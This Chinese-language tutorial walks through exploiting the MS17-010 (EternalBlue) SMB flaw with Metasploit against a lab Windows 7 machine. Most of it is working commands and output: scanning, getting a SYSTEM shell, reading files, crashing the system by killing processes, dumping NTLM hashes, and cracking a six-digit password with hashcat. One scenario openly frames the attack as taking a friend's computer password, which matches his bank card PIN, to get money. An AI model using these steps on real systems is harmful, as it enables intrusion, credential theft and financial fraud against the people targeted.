- 再次
run
成功打掉!
漏洞利用:MS17-010
漏洞:CVE-2017-0143,CVE-2017-0144,CVE-2017-0145,CVE-2017-0146,CVE-2017-0147,CVE-2017-0148
永恒之蓝漏洞,也就是当年的勒索病毒WannaCrypt
远程代码执行,攻击者可以获得SYSTEM用户权限,在被控制电脑上完全畅通无阻,整台电脑都已经被控制。出现什么样的事情,完全取决于被攻击者
受影响设备
Windows 2000
Windows XP | Windows Server 2003
Windows Vista
Windows 7 | Windows Server 2008 | Windows Server2008 R2
Windows 8 | Windows Server 2012
Windows 8.1 | Windows Server 2012 R2
以下受影响较小,默认SMBv1关闭
Windows 10 | Windows Server 2016
- 在当年几乎是全部出现了问题,勒索病毒全网,包括银行ATM机等等
靶机环境搭建
- 需要关闭windows的防火墙
- 只要没有修复漏洞补丁和安装杀毒软件,很容易进行攻击。
防火墙的关闭
打开控制面板:(开始键+R:输入control)
进入到这个位置:控制面板\系统和安全\Windows 防火墙
(系统和安全->windows防火墙)
漏洞利用和复现
漏洞扫描(可选,速度很慢)
#在一个终端内
sudo su
msfconsole
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
show options
set RHOSTS 192.168.226.0/24 #扫描当前网络下所有的虚拟机,很慢
set RHOSTS 192.168.226.132 #扫描当前网络的两个虚拟机设备
run
set RHOSTS 192.168.226.128 #扫描当前网络的两个虚拟机设备
run
扫描结果
- 如果显示Timeout
Rex::ConnectionTimeout: The connection with (192.168.226.128:445) timed out
,大概率是防火墙未关闭。 - 如果显示SMB Login Error
An SMB Login Error occurred while connecting to the IPC$ tree.
漏洞可能已经修复 - 如果显示NOT appear vulnerable
Host does NOT appear vulnerable.
表示漏洞可能已经被修复 - 如果显示likely VULNERABLE
Host is likely VULNERABLE to MS17-010!
表示机会比较大,大概率有漏洞。
漏洞利用
OK,我们已经扫描到需要攻击的靶机,现在开始利用漏洞
#在一个终端内
sudo su #切换到root
msfconsole #进入msf
search ms17-010 #搜索漏洞
use 0 #使用漏洞
use exploit/windows/smb/ms17_010_eternalblue #使用漏洞
show options #显示参数
set RHOSTS 192.168.226.132
开打
run
这样的情况就是打进去啦
查询当前用户
shell
whoami
权限是system,也就是系统的最高权限。
查看文件
在桌面新建一个文本文件
尝试访问:
type C:\users\dayi\desktop\ovo.txt
#dayi是我的用户名
#desktop是桌面文件夹
#ovo.txt 是刚刚建立的文件
成功查看到数据
如果想访问其他的文件也同理。
能做的事情
输入exit,然后输入help
- 能做的事情非常多
我们启动一个计算机弹在桌面上:
enumdesktops #显示当前会话的桌面 execute -s 1 -f calc.exe #在会话1上启动计算器,因为会话0是SYSTEM用户的桌面
打开记事本
execute -s 1 -f notepad.exe
查看arp表
arp
杀内核,直接蓝屏
shell taskkill /f /im win*
重启计算机(不一定可以执行成功,理论没有问题)
reboot #重启 #或者输入下面三行 shell shutdown -r -f -t 0 #重启 shutdown -s -f -t 0 #关机
靶机密码破解|综合:
模拟场景:我们获得了哥们的电脑。我们通过一定的手段得知,哥们的电脑密码与银行卡密码一样。
删除密码很容易,但是哥们的电脑密码跟银行卡密码一样。
我们想要的是米,于是我们需要获得电脑密码的原文。
利用MS17-010进行破解
准备工具
待破解密码的电脑,有永恒之蓝漏洞。
利用MS17-010进行渗透
扫描当前网络下机器的IP地址
nmap -sn 192.168.226.0/24
推测这两台是可能是待破解机器IP。
考虑到一般情况,可以排除128是我们已知的服务器,所以132就是我们要破解的机器。
信息收集,使用nmap收集全部的信息
nmap -A 192.168.226.132 #扫描全部可能的信息,速度较慢
发现可能性存在漏洞,使用MS17-010扫描工具进行扫描
sudo su #切换到root用户 msfconsole #打开msf控制台 use auxiliary/scanner/smb/smb_ms17_010 #使用ms17-010漏洞扫描工具 show options #显示选项 set RHOSTS 192.168.226.132 #设置主机 ←复制的时候别复制上中文啦 run #开始测试
发现有希望打入
尝试渗透
use exploit/windows/smb/ms17_010_eternalblue #使用漏洞 set RHOSTS 192.168.226.132 run
进入成功
输入
hashdump
获得密码哈希运算之后的值
meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: dayi:1000:aad3b435b51404eeaad3b435b51404ee:0a1f2055b4ba71c5251d8ef7c235996b::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: meterpreter >
尝试暴力破解hash值
根据构想情况,哥们的密码是银行密码所以是6位数字,但是是多少咱们不知道。
我们已经知道哥们的密码是6位数字
密码的hash值是
0a1f2055b4ba71c5251d8ef7c235996b
使用hashcat进行密码爆破
已知
- windows 7 的密码哈希方式
NTLM
- NT LAN Manager=NTLM
- 需要破解的hash值为
0a1f2055b4ba71c5251d8ef7c235996b
- 原文是6位数字
哈希猫(hashcat)是一个高级密码恢复工具
查找hashcat是否能进行破解
构建指令
参数
-a
-a 0
字典模式-a 1
组合模式,从字典组合-a 3
暴力模式-a 6/7
组合+掩码(-a 6)+ 单词表(-a 7)-a 9
关联攻击,用相关的用户名、文件名、提示
参数
-m
模式,详细可以参考这个文档
我们需要的模式是
NTLM
- 对应的模式号为
1000
- 对应的模式号为
参数
--force
--force Ignore warnings #忽略警告
参数
内置字符
Built-in charsets ?l = abcdefghijklmnopqrstuvwxyz ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ ?d = 0123456789 ?h = 0123456789abcdef ?H = 0123456789ABCDEF ?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ ?a = ?l?u?d?s ?b = 0x00 - 0xff
更多参数可以看这个
综上,我们可以构建指令
hashcat --force -a 3 -m 1000 0a1f2055b4ba71c5251d8ef7c235996b ?d?d?d?d?d?d
运行
sudo su
#可选,测速运行:
time hashcat --force -a 3 -m 1000 0a1f2055b4ba71c5251d8ef7c235996b ?d?d?d?d?d?d
#正常运行
hashcat --force -a 3 -m 1000 0a1f2055b4ba71c5251d8ef7c235996b ?d?d?d?d?d?d
运行起来还是非常快的
整个过程用了3.5秒
密码是:114514
尝试登录系统
输入密码:114514
登陆成功!
任务完成!
markdown 源文件74KB
2327 行,12996词